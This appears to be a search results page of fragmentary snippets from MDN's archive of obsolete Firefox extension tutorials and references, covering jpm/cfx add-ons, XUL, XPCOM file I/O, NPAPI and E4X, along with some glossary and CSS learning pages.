Creating Event Targets - Archive of obsolete content
using the sdk's standard event api. in this tutorial we'll create part of a module to access the browser's places api. it will emit events when the user adds and visits bookmarks, enabling users of the module to listen for these events using the sdk's standard event api. using the places api first, let's write some code using places api that logs the uris of bookmarks the user adds. create a
new directory called "bookmarks", navigate to it, and run jpm init, accepting all the defaults. then open "index.js" and add the following code: var {cc, ci} = require("chrome"); var { xpcomutils } = require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(ci.nsinavbookmarksservice); var bookmark...
...bserver(bookmarkobserver, false); }; exports.onunload = function() { bookmarkservice.removeobserver(bookmarkobserver); } try running this add-on, adding and visiting bookmarks, and observing the output in the console. modules as event targets we can adapt this code into a separate module that exposes the sdk's standard event interface. to do this we'll use the event/core module. ...
...the interface for adding and removing listeners core/heritage gives us class(), which we can use to inherit from eventtarget util/object gives us merge(), which just simplifies setting up the bookmarkmanager's properties we use class to inherit from eventtarget. ...
...And 2 more matches
Getting Started (jpm) - Archive of obsolete content
later. if you need to work with earlier versions of firefox, you'll need to use the old cfx tool. see instructions for getting started with cfx. the command-line jpm tool. see the instructions for installing jpm. once you've done that, you'll be looking at a command prompt. install firefox developer version for testing your add-on. initializing an empty add-on in the command prompt, create a
new directory. navigate to it, type jpm init, and hit enter: mkdir my-addon cd my-addon jpm init you'll then be asked to supply some information about your add-on: this will be used to create your add-on's package.json file. for now, just press enter to accept the default for each property. for more information on jpm init, see the jpm command reference. once you've supplied a value or accepted t...
...nt defaults to "main.js", and is located in the "lib" directory under the add-on's root. save the file. ...
... that's all this add-on does. it uses two sdk modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enables you to perform basic operations with tabs. ...
...And 2 more matches
Getting started (cfx) - Archive of obsolete content
you should use jpm instead. use cfx only if you need to work with firefox 38 or earlier. see: getting started with jpm cfx to jpm prerequisites to create add-ons for firefox using the sdk, you'll first need to follow the instructions to install and activate the sdk. once you've done that, you'll be looking at a command prompt. initializing an empty add-on in the command prompt, create a
new directory. the directory doesn't have to be under the sdk root: you can create it anywhere you like. navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/mai...
...", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } save the file. next, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: cfx run this is the sdk command to run a
new instance of firefox with your add-on installed. when firefox launches, in the top-right corner of the browser you'll see an icon with the firefox logo. click the icon, and a
new tab will open with https://www.mozilla.org/ loaded into it. that's all this add-on does. it uses two sdk modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enab...
...ab will open with https://www.mozilla.org/ loaded into it. that's all this add-on does. it uses two sdk modules: the action button module, which enables you to add buttons to the browser, and the tabs module, which enables you to perform basic operations with tabs. in this case, we've created a button whose icon is the firefox icon, and added a click handler that loads the mozilla home page in a
new tab. try editing this file. for example, we could change the page that gets loaded: var buttons = require('sdk/ui/button/action'); var tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state...
...And 2 more matches
File I/O - Archive of obsolete content
se these legacy interfaces if os.file is not available to you. this article describes local file input/output in chrome javascript. you access the file system using mozilla xpcom components. note: file objects are nsifile. for legacy reasons, there is also an nsilocalfile interface. creating an nsifile object components.utils.import("resource://gre/modules/fileutils.jsm"); var file =
new fileutils.file("/home"); or the same without using fileutils.jsm: var file = components.classes["@mozilla.org/file/local;1"]. createinstance(components.interfaces.nsilocalfile); file.initwithpath("/home"); note: the path should be in the "native" form (for example"c:\\windows"). if you need to use file:// uris as initializers, see discussion of nsiioservice below. note: you can ...
.... other such keys as the "profd" key are available; check the known locations. enumerating drives on windows while you can use initwithpath("/") on unix-like systems (linux, mac) to get the root of the file system, there's no such root on windows. however, you can enumerate available drives using the following code: components.utils.import("resource://gre/modules/fileutils.jsm"); var root =
new fileutils.file("\\\\."); var drivesenum = root.directoryentries, drives = []; while (drivesenum.hasmoreelements()) { drives.push(drivesenum.getnext(). queryinterface(components.interfaces.nsilocalfile).path); } creating folders fileutils.getdir() can create a folder automatically if it doesn't exist yet: components.utils.import("resource://gre/modules/fileutils.jsm"); var dir = fileuti...
... need to the created file alert(file.path); user input via nsifilepicker the file picker component, nsifilepicker, can be used to open standard open / save dialogs. it returns the user-specified file as nsifile. nsifile and path strings you can use nsifile.path to get a platform-specific path string, for example "c:\windows\system32" or "/usr/share". to get a url of a file, use nsiioservice.
newfileuri(): // file is nsifile components.utils.import("resource://gre/modules/services.jsm"); var url = services.io.
newfileuri(file); // url is a nsiuri; to get the string "file://...", see url.spec to get an nsifile from the 'file://' url, use nsifileurl: // url is a nsiuri; see nsiioservice::
newuri for getting a string into a nsiuri. var file = url.queryinterface(components.interfaces.nsifil...
...And 2 more matches
Finding window handles - Archive of obsolete content
g systems: windows - hwnd mac os x - nswindow* linux - gdkwindow* (it will be gdkwindow* no matter what desktop/window manager) is in use, for explanation why see the article: standard os libraries - unix section) windows components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw
new error('no browser window found'); } var basewindow = browserwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterfac...
...(ctypes.uint64(hwndstring)); var rez_setforegroundwindow = setforegroundwindow(hwnd); console.log('rez_setforegroundwindow:', rez_setforegroundwindow, rez_setforegroundwindow.tostring()); user32.close(); mac os x objective-c components.utils.import('resource://gre/modules/services.jsm'); var browserwindow = services.wm.getmostrecentwindow('navigator:browser'); if (!browserwindow) { throw
new error('no browser window found'); } var basewindow = browserwindow.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsidocshelltreeitem) .treeowner .queryinterface(ci.nsiinterfacerequestor) .getinterfac...
...es.cast(gtkwinptr, gtkwidget.ptr); var backto_gdkwinptr = gtk_widget_get_window(gtkwidgetptr); working with xid xid to gdkwindow* // soon to come xid to gtkwindow* // soon to come now onto the examples! ...
...And 2 more matches
Listening to events in Firefox extensions - Archive of obsolete content
b.addeventlistener("event", callback, false) where b is the browser or tabbrowser you wish to watch for events from. keep in mind that the events may come from any frame within the browser or, for a tabbrowser, any of the browsers within it. some of the more interesting dom events you may wish to monitor are listed here: event description domlinkadded dispatched when a
new html <link> element is detected in the document. domtitlechanged dispatched when the title of the page changes. domcontentloaded dispatched when the initial dom for the page is completely loaded. load dispatched after the page—including images—has first finished loading. unload dispatched when the user has navigated away from the page. ...
...e document. domtitlechanged dispatched when the title of the page changes. domcontentloaded dispatched when the initial dom for the page is completely loaded. load dispatched after the page—including images—has first finished loading. unload dispatched when the user has navigated away from the page. pageshow dispatched when a page is
newly displayed. pagehide dispatched when a page is hidden. standard behavior for web pages is: user navigates to a page. as the page loads, inline scripts run. once the page is loaded, the onload handler fires. some pages include a fourth step. if a page uses an unload or beforeunload handler, it fires when the user navigates away from the page. if an unload handler is pres...
... user navigates to a cached page, inline scripts and the onload handler do not run (steps 2 and 3), since in most cases, the effects of these scripts have been preserved. if the page contains scripts or other behaviors that fire during loading that you want to continue to execute every time the user navigates to the page, or if you want to know when a user has navigated to a cached page, use the
new pageshow event. if you have behaviors that fire when a user navigates away from the page, but you want to take advantage of this
new caching feature, and therefore don't want to use the unload handler, use the
new pagehide event. pageshow event this event works the same as the load event, except that it fires every time the page is loaded (whereas the load event doesn't fire in firefox 1.5 whe...
...And 2 more matches
JavaScript Object Management - Archive of obsolete content
ction(aevent) { this._stringbundle = document.getelementbyid("xulschoolhello-string-bundle"); // you can make changes to the window dom here. } // more stuff }; window.addeventlistener( "load", function() { 〈namespace〉.browseroverlay.init(); }, false); there are some things you can't (or shouldn't) do inside load handlers, such as closing the window being loaded, or opening
new windows, alerts or dialogs. the window has to finish loading before it can do any of these things. they are bad ui practices anyway and you should avoid them. if you really need to do something like this anyway, one way to do it is to have a timeout execute the code after a delay: init : function(aevent) { let that = this; this._stringbundle = document.getelementbyid("xs-hw-string-bundle"...
...sion so that the message says how many times it has been displayed. the message could say something like "hello! this message has been shown 5 times." keep the counter as a variable in the browseroverlay object, and increment it every time the message is going to be shown. once you have this working right, try the following: open the message a few times, so that the number increments. now open a
new window and display the message from the
new window. what do you think will happen? what will the count be this time? you probably didn't expect this, but the count was reset in the
new window. each window keeps its own counter, and now the extension is not behaving as expected. this is a fundamental lesson: the chrome is not global, it's window-specific. all of your scripts and objects are repli...
.... now, in most cases you'll need to coordinate data in a way that it is consistent for all open firefox windows. there are several ways in which you can do this. preferences is one of them, and they are covered in another section of this tutorial. two other ways are javascript code modules (firefox 3 and above), and xpcom. javascript code modules javascript code modules (also known as jsm) are
new to firefox 3, and they're the best tool for keeping everything in sync between windows. they're very simple to set up. the first thing you need to do is add an entry in the chrome.manifest file: resource xulschoolhello modules/ javascript code modules are accessed with the resource protocol, which is very similar to the chrome protocol. just like with the chrome, we define the package...
...And 2 more matches
The Essentials of an Extension - Archive of obsolete content
ange in chrome.manifest, all you need is to add the right path after content in the uri. skin and locale files work in the same way, and you don't need to specify skin names or locale names. so, to access the dtd file in the hello world extension, the chrome path is chrome://xulschoolhello/locale/browseroverlay.dtd. firefox knows what locale to look for. here's an interesting experiment. open a
new firefox tab, type chrome://mozapps/content/downloads/downloads.xul on your location bar and press enter. surprised? you just opened the downloads window in a firefox tab! you can access any chrome file by just typing its uri in the location bar. this can come in handy if you want to inspect script files that are part of firefox, other extensions, or your own. most of these files are opened as tex...
...lows you to create richer and more interactive interfaces than the ones you can create with html, or at least xul makes it easier. xul files usually define one of two things: windows or overlays. the file you opened before, downloads.xul, has the code that defines the downloads window. the xul file included in the hello world extension is an overlay. an overlay extends an existing window, adding
new elements to it or replacing some of the elements in it. the line that we skipped in the chrome.manifest file states that this xul file is an overlay for the main browser window: overlay chrome://browser/content/browser.xul chrome://xulschoolhello/content/browseroverlay.xul with this line, firefox knows that it needs to take the contents of browseroverlay.xul and overlay it on the main brow...
...th an existing object. what we do here is define a single global object: xulschoolchrome. now we know that all of our objects are inside this object, which is unlikely to be duplicated or overwritten by other extensions. you can read more about the typeof operator. if you're unfamiliar with javascript or this particular syntax, initializing an object as {} is the equivalent of initializing it to
new object(). /** * controls the browser overlay for the hello world extension. */ xulschoolchrome.browseroverlay = { finally, browseroverlay is our object. naming and referencing objects in such a long and verbose manner can feel uncomfortable at first, but it's worth the cost. we use javadoc style comments on all namespaces, objects and object members. this is a similar standard to the o...
...And 2 more matches
Creating a status bar extension - Archive of obsolete content
next » this is the first in a series of articles that will demonstrate how to create increasingly intricate extensions for the firefox browser. some of the samples in this series may be similar to samples you've seen elsewhere, but the goal of this series of articles is to help compile information for
new extension developers into one place to make it easy to jump in and get started. note: the extension created by this tutorial won't work in firefox that don't have a static status bar (that is, firefox 4 and up). you can find a more up-to-date tutorial in the xul school tutorial the essentials of an extension. many of the concepts introduced here apply to any xul-based application; however, to keep from getting completely overwhelmed, we're going to focus specifically on fire...
...pplication or applications in which your extension is designed to run. although this sample extension only works in firefox, it's entirely possible to create extensions that work in multiple xul-based applications. it's also necessary to indicate what versions of the target application or applications your extension supports. if it won't work in older versions of firefox, or hasn't been tested on
newer versions, you can restrict the extension so that only supported versions of the target application will attempt to use it. the target application information is contained within the em:targetapplication description block. property name description id an id indicating the target application. "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" is a guid that uniquely identifies firef...
...irefox overlay chrome://browser/content/browser.xul chrome://status-bar-sample-1/content/status-bar-sample-1.xul the first line registers the location on disk of the contents of the extension whose id is "status-bar-sample-1". this path is relative to the extension's root folder in this case, but can be absolute if you want it to be. the second line registers an overlay. an overlay lets you add
new content to an existing document. in this case, we want to augment the ui of the firefox browser, so we specify the uri of the firefox main window's xul file, "chrome://browser/content/browser.xul", as the interface to overlay onto, and the uri of our own xul file, "chrome://status-bar-sample-1/content/status-bar-sample-1.xul", as the interface to overlay onto the browser. see xul overlays for det...
...And 2 more matches
Creating a Firefox sidebar extension - Archive of obsolete content
creating a sidebar requires some gui creation and registration in the destination application. ...
... creating a sidebar requires some gui creation and registration in the destination application. ...
... creating a sidebar requires some gui creation and registration in the destination application. first a simple xul page is created. ...
...And 2 more matches
Monitoring downloads - Archive of obsolete content
rs, its use is discouraged since it could be removed at any time. try to avoid using it.this interface is deprecated as of firefox 26. please use downloads.jsm instead. firefox 3 makes it easier than ever to monitor the status of downloads. although it was possible to do so in previous versions of firefox, it was previously only possible for one observer to do so at a time. firefox 3 introduces
new api that allows any number of listeners to observe downloads. this article demonstrates how to monitor downloads in firefox 3, using the download manager. as a nice bonus, it also demonstrates how to use the storage api to issue sqlite commands on a database. the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since y...
... changes once the code above is run, our ondownloadstatechange() method is called whenever a download's state changes. this is part of the nsidownloadprogresslistener interface. that code looks like this: ondownloadstatechange: function(astate, adownload) { var statement; switch(adownload.state) { case components.interfaces.nsidownloadmanager.download_downloading: // add a
new row for the download being started; each row includes the // source uri, size, and start time. the end time and download speed // are both set to 0 at first, since we don't know those yet. // status is the same status value that came from the download manager. var dbconn = this.storageservice.opendatabase(this.dbfile); statement = dbconn.createstatement("repl...
...components.interfaces.nsidownloadmanager.download_canceled: this.logtransfercompleted(adownload); break; } }, we're interested in four states. if the download's state, indicated by the adownload.state field, is components.interfaces.nsidownloadmanager.download_downloading, the file has begun to download. the adownload object is an nsidownload object. in that case, we create a
new row in our database for the
new file by opening the database and building a replace into sqlite command. the first three rows are set to the values of the source uri, file size, and start time fields from the download object. the remaining rows are set to zeroes since that's not information we have at the moment. if the download's state indicates that the download is finished, canceled, or faile...
...And 2 more matches
Venkman Introduction - Archive of obsolete content
the javascript debugger, also called venkman, has been a part of the mozilla browser and the community of web and script developers there for some time. this article provides an overview and some practical examples of using the javascript debugger in web applications and web page scripting. this introduction is the first in a series of articles on venkman and javascript debugging. ...
...ing mac os and unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment. starting the debugger the javascript debugger is automatically pre-installed in mozilla 1.x but must be installed separately in firefox and other gecko-based products, such as thunderbird and netscape 7.x. fortunately, the xpinstall technology makes it possible to install
new application modules in firefox by just clicking a hyperlink. if you don't already have venkman or would like to upgrade, you can easily get the latest version from firefox add-ons. the installation process is two steps. first, from within the browser you want to host the debugger application, visit the firefox add-ons page and click on the "install" link for the most recent version. when the dow...
...est version from firefox add-ons. the installation process is two steps. first, from within the browser you want to host the debugger application, visit the firefox add-ons page and click on the "install" link for the most recent version. when the download is complete, restart your browser (some windows users may also need to restart their computer as well). you can then access the debugger via a
new, dynamically created menuitem in the tools menu of that browser, or else restart the browser with a special debugger option. to see which version of venkman you have, type /version in the interactive session view. for more information about the latest improvements and versions, see the venkman development page. there are two ways to start the debugger: from firefox, you can start it by selec...
...And 2 more matches
Anonymous Content - Archive of obsolete content
turns null. dom methods that can be invoked on elements (e.g., getelementsbytagname) will only see nodes that are in the same scope. methods invoked on the document (e.g., getelementbyid) only see nodes that are at the document-level scope. content generation rules for generation whenever bindings are attached to an element, anonymous content will potentially be generated or destroyed. when a
new binding is attached, the bindings in its explicit 'inherits' chain are checked to see if any have anonymous content templates. the most derived binding in the chain with a template is the one used to determine if anonymous content should be generated. anonymous content is only generated from a template if there are insertion points defined within the template for all of the explicit content foun...
...ever cloned when content is generated from a template. handling dom changes insertion points continuing to be used as elements are inserted or removed from the dom. whenever an element is inserted or appended, all insertion points are checked following all the same rules that applied when first placing explicit children during anonymous content generation. if no insertion point is found for the
newly-inserted child, then the binding is no longer a fit for the bound element, and all anonymous content will be destroyed. whenever an element is removed, it simply disappears from its insertion point along with all anonymous content that was generated by the element. it is possible to manipulate the anonymous content contained underneath a bound element using standard dom apis. if anonymous con...
...t using standard dom apis. if anonymous content that contains an insertion point is removed, then any explicit children found underneath the insertion point are relocated to any other insertion points that match. again, if all the children cannot be relocated, then the anonymous content is destroyed. [editor's note: should there be an api for retrieving insertion points, for dynamically creating
new insertion points, or for removing insertion points? perhaps on elementxbl?] event flow and targeting flow and targeting across scopes dom events can fire on anonymous targets just as they can on explicit targets. as long as the event flows within the same scope, it is no different from the behavior outlined in the dom level 2 events specification. events flow through the final transformed con...
...And 2 more matches
Creating an Installer - Archive of obsolete content
in particular plugin developers should see how to package a plugin as an extension. « previousnext » this section will describe packaging a xul application into an installer. ...
...ntain an install script (a file named install.js) which can be used to script the installation process. this script has access to various install functions which can be used to install files and components. the jar file installers typically have the extension .xpi (pronounced zippy) to distinguish them from other archives. the installers will be usually used to install mozilla components such as
new skins, plugins and packages. there are several steps involved in launching an installer and installing components. these are described step by step below. create a web page from which the user can download the software to be installed. this page will contain an install trigger which is a small piece of script which launches the install. the user is presented with a dialog which indicates the...
... list. the user may choose to continue or cancel. if the user chooses to continue, the installer xpi file is downloaded. a progress bar is displayed to the user during this process. the file install.js is extracted from the install archive and executed. this script will call install functions which will indicate which files from the archive should be installed. once the script is complete, the
new package has been installed. if multiple packages are being installed, their scripts will run in sequence. install triggers as indicated above, the install process is started by an install trigger. this involves the use of the special global object installtrigger. it contains a number of methods which can be used to start an installation. you can use this object in local or remote content, mean...
...And 2 more matches
XML - Archive of obsolete content
scribing the structure of data. it does not describe the way in which this data is to be presented, like its semantically-challenged cousin html does, and it doesn't have much to say about the data itself. when someone says they are using xml, what they probably mean is that they have used xml to define their own syntax for marking up some data they are interested in. lots of people have created
new languages out of xml. mathml and the chemical markup language (cml) are two of the better-known and more widely-used languages, but there are hundreds. information developers create languages particular to their applications, any time they need a very specific way to represent the structure of some data. when we say language, we mean that developers create a set of terms, orlexicon, and a relati...
... any time they need a very specific way to represent the structure of some data. when we say language, we mean that developers create a set of terms, orlexicon, and a relationship between these terms, or what some people call agrammar. then they insist that their authors use the language to describe the thing it has been created for. those authors may be people or machines, but they must use the
new language if the readers are to understand what sort of data it is they are reading. it's much simpler than it seems -- much simpler, in fact, than a lot of xml primers and references would have you believe. in fact, let's create a
new xml-based language right now called "memoml". it will consist of a lexicon of four terms: memo, to, from, body -- all of which fit together into a syntax represente...
...lled "memoml". it will consist of a lexicon of four terms: memo, to, from, body -- all of which fit together into a syntax represented in most xml circles as: <!element memo (from, to, body)> for developers accustomed to reading and using xml, this definition indicates that the root element "memo" is constituted by a "from" element, then a "to" element, then a "body" element. that's it. in our
new language, there are only four words, but they are adequate to describe thestructure of a real, very simple memo. note that our language doesn't suffice to describe the content of the memo, which is written in english. but that's not what markup languages are for, in general. an actual memo using the memoml to represent itself might look like this: <memo> <from>ian oeschger</from> <to>steve r...
...And 2 more matches
menu - Archive of obsolete content
sibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="
new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes acceltext type: string text that appears besid...
... getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the spec...
...ribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a
new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the
newly created element. ...
...And 2 more matches
NPN_GetURL - Archive of obsolete content
ary asks the browser to create a stream for the specified url. syntax #include <npapi.h> nperror npn_geturl(npp instance, const char* url, const char* target); parameters the function has the following parameters: instance pointer to the current plug-in instance. url pointer to the url of the request. can be of any type, such as http, ftp,
news, or mailto. target name of the target window or frame, or one of the following special target names. values: _blank or _
new: load the link in a
new blank unnamed window. safest target, even though, when used with a mailto or
news url, this creates an extra blank the browser instance. _self or _current: load the link into the same window the plug-in instance occupies. not recom...
...arent: load the link into the immediate <frameset> parent of the plug-in instance's document. if the plug-in instance's document has no parent, the default is _self. _top: load the link into the plug-in instance window. the default is _self, if the plug-in instance's document is already at the top. use for breaking out of a deep frame nesting. if the target is null, the browser creates a
new stream and delivers the data to the current instance regardless of the mime type of the url. in general, if a url works in the location box of the browser, it works here, except for the _self target. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description np...
... type sent to it. for example, a null target does not make sense for some url types (such as mailto). the following recommendations about target choice apply to other methods that handle urls as well. if the target parameter refers to the window or frame containing the current plug-in instance, the instance is destroyed and the plug-in may be unloaded. if target is null, the application creates a
new stream and delivers the data to the plug-in instance, through calls to npp_
newstream(), npp_writeready() and npp_write(), and npp_destroystream(). this means that if you want the plug-in to handle a
new stream, no matter what the mime type is, use null. if the application cannot locate the url and retrieve the data, it does not create a stream for the instance. when the plug-in instance is part o...
...And 2 more matches
Processing XML with E4X - Archive of obsolete content
remains in some legacy code. for backwards compatibility, e4x defaults to ignoring comments and cdata sections. you can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/javascript;e4x=1"> ... </script> creating an xml object e4x offers two principal ways of creating an xml object. ...
... var languages = <languages type="dynamic"> <lang>javascript</lang> <lang>python</lang> </languages>; in both cases, the resulting object will be an e4x xml object, which provides convenient syntax for both accessing and updating the encapsulated data. while the xml object looks and behaves in a similar way to a regular javascript object, the two are not the same thing. e4x introduces
new syntax that only works with e4x xml objects. the syntax is designed to be familiar to javascript programmers, but e4x does not provide a direct mapping from xml to native javascript objects; just the illusion of one. it is possible to interpolate variables into an xml literal to create an element name (or to create content). var h = 'html'; var text = "here's some text"; var doc = <{h}><body>{t...
...y equivalents. since a greater than sign is not escaped, it is possible to get an xml error if the cdata closing sequence (]]>) is included. it is not possible to directly interpolate variables amidst other literal (or variable) attribute content, however (e.g., bar="a{var1}{var2}"). one must instead either calculate the variable with a javascript expression (e.g., bar={'a'+var1+var2}), define a
new variable before the element literal which includes the full interpolation and then include that variable or retrieve the attribute after the literal to alter it (see below). while one can interpolate attribute names as well as attribute values: var a = 'att'; var b = <b {a}='value'/>; alert(b); // gives: <b att="value"/> ...one cannot interpolate a whole expression at once (e.g., <b {a}>.) a...
...And 2 more matches
Object.prototype.__noSuchMethod__ - Archive of obsolete content
// example base class 1 function namedthing(name) { th...
... object isn't initialized, initialize it if (!obj.__parents_) { obj.__parents_ = []; obj.__nosuchmethod__ = nomethod; } // add the parent obj.__parents_.push(parent); } an example of using this idea is shown below. // example base class 1 function namedthing(name) { this.name = name; } namedthing.prototype = { getname: function() { return this.name; }, setname: function(
newname) { this.name =
newname; } } // example base class 2 function agedthing(age) { this.age = age; } agedthing.prototype = { getage: function() { return this.age; }, setage: function(age) { this.age = age; } } // child class. inherits from namedthing and agedthing // as well as defining address function person(name, age, address){ addparent(this, namedthing.prototype); namedthing.call...
...'in' : 'not in') + ' bob'); // getage is not in bob console.log("bob's age is: " + bob.getage()); // bob's age is: 25 console.log('getname is ' + (('getname' in bob) ? 'in' : 'not in') + ' bob'); // getname is not in bob console.log("bob's name is: " + bob.getname()); // bob's name is: bob console.log('getaddr is ...
...And 2 more matches
Archived JavaScript Reference - Archive of obsolete content
obsolete javascript features and unmaintained docs arguments.callerthe obsolete arguments.caller property used to provide the function that invoked the currently executing function. this property has been removed and no longer works.array comprehensionsthe array comprehension syntax was a javascript expression which allowed you to quickly assemble a
new array based on an existing one. however, it has been removed from the standard and the firefox implementation. do not use it!array.observe()the array.observe() method was used for asynchronously observing changes to arrays, similar to object.observe() for objects. it provided a stream of changes in order of occurrence. it's equivalent to object.observe() invoked with the accept type list ["add", "update", "delete", "splice"]. however, this...
... "splice"]. however, this api has been deprecated and removed from browsers. you can use the more general proxy object instead.array.unobserve()the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed from browsers. you can use the more general proxy object instead.arraybuffer.transfer()the static arraybuffer.transfer() method returns a
new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by
newbytelength. if
newbytelength is undefined, the bytelength of the oldbuffer is used. this operation leaves oldbuffer in a detached state.date.prototype.tolocaleformat()the non-standard tolocaleformat() method converts a date to a string using the specified formatting. intl.datet...
...r truncated or zero-extended by
newbytelength. if
newbytelength is undefined, the bytelength of the oldbuffer is used. this operation leaves oldbuffer in a detached state.date.prototype.tolocaleformat()the non-standard tolocaleformat() method converts a date to a string using the specified formatting. intl.datetimeformat is an alternative to format dates in a standards-compliant way. see also the
newer version of date.prototype.tolocaledatestring().ecmascript 2016 to es.next support in mozillaexpression closuresexpression closures are a shorthand function syntax for writing simple functions.for each...inthe for each...in statement iterates a specified variable over all values of object's properties. for each distinct property, a specified statement is executed.function.aritynot part of any st...
...And 2 more matches
JavaObject - Archive of obsolete content
parameters parameterlist an optional list of parameters, specified by the constructor of the java class. ...
...data members from any superclass as properties. methods inherits public methods from the java class of which it is an instance. the javaobject also inherits methods from java.lang.object and any other superclass. ...
...ss. examples example: instantiating a java object in javascript the following code creates the javaobject thestring, which is an instance of the class java.lang.string: var thestring =
new packages.java.lang.string("hello, world"); because the string class is in the java package, you can also use the java synonym and omit the packages keyword when you instantiate the class: var thestring =
new java.lang.string("hello, world"); example: accessing methods of a java object because the javaobject thestring is an instance of java.lang.string, it inherits all the public methods of java.lang.string. ...
...And 2 more matches
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
cle may be out of date. this article was written on august 31, 2001; it is not compatible with current versions of firefox. this article applies to mozilla versions 0.9.2 and higher and netscape versions 6.1 and higher. it does not cover netscape 6 and 6.01 introduction plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in the
new world. the main reason for this is that there is no guarantee of java compatibility on a binary level due to the jri/jni switch. the
new mozilla xpcom architecture allows xpcom components be scriptable via a different mechanism called xpconnect. we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers. in order to make...
...ment describes the steps of what should be done to the plugin code to turn it scriptable again. what's in the mozilla code? a couple of lines have been added to the dom code asking a plugin to return a scriptable iid and a pointer to a scriptable instance object. the old plugin api call npp_getvalue is used to retrieve this information from the plugin. ...
... describing the plugin scriptable interface should be added to the project (see example 1). a scriptable instance object should be implemented in the plugin. this class will contain native methods callable from javascript. this class should also inherit from nsiclassinfo and implement its methods to be able to request all necessary privileges from the mozilla security manager (see example 2). two
new cases for the above mentioned
new variables should be added to the plugin implementation of npp_getvalue (see example 3). how to call plugin native methods the following html code will do the job:</p> this should be changed, we shouldn't advocate embed <embed type="application/plugin-mimetype"> <script language="javascript"> var embed = document.embeds[0]; embed.nativemethod(); </script> how to...
...And 2 more matches
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
ect-oriented programming languages. essentially, a constructor in javascript is usually declared at the instance of a class. ...
...languages. essentially, a constructor in javascript is usually declared at the instance of a class. ...
...lared at the instance of a class. syntax // this is a generic default constructor class default function default() { } // this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascript, use a
new operator to assign a
new object reference to a variable. ...
...And 2 more matches
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with
new ideas while—in theory—preventing their experiments from being relied upon and then breaking web developers' code during the standardization process. developers should wait to include the unprefixed property until browser behavior is standardized. browser vendors are working to stop using vendor prefixes for experimental features. web developers have been using them on production web sites, despite their experimental nature. ...
...he standardization process. developers should wait to include the unprefixed property until browser behavior is standardized. browser vendors are working to stop using vendor prefixes for experimental features. web developers have been using them on production web sites, despite their experimental nature. this has made it more difficult for browser vendors to ensure compatibility and to work on
new features; it's also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites. lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. css prefixes the major browsers use the following prefixes: -webkit- (...
...also been harmful to smaller browsers who wind up forced to add other browsers' prefixes in order to load popular web sites. lately, the trend is to add experimental features behind user-controlled flags or preferences, and to create smaller specifications which can reach a stable state much more quickly. ...
...And 2 more matches
Normal Flow - Learn web development
that explains individual elements, but what about how elements interact with one another? the normal layout flow (mentioned in the layout introduction article) is the system by which elements are placed inside the browser's viewport. ...
...aid out in the block flow direction, based on the parent's writing mode (initial: horizontal-tb) — each one will appear on a
new line below the last one, and they will be separated by any margin that is set on them. in english therefore, or any other horizontal, top to bottom writing mode, block-level elements are laid out vertically. inline elements behave differently — they don't appear on
new lines; instead, they sit on the same line as one another and any adjacent (or wrapped) text content, as long as there is space for them to do so inside the width of the parent block level element. if there isn't space, then the overflowing text or elements will move down to a
new line. if two adjacent elements both have the margin set on them and the two margins touch, the larger of the two rema...
...our total width and height is our content + padding + border width/height.</p> <p>we are separated by our margins. ...
...And 2 more matches
Fundamental text and font styling - Learn web development
soft core fonts for the web initiative in the late 90s and early 2000s): name generic type notes arial sans-serif it's often considered best practice to also add helvetica as a preferred alternative to arial as, although their font faces are almost identical, helvetica is considered to have a nicer shape, even if arial is more broadly available. courier
new monospace some oses have an alternative (possibly older) version of the courier
new font called courier. it's considered best practice to use both with courier
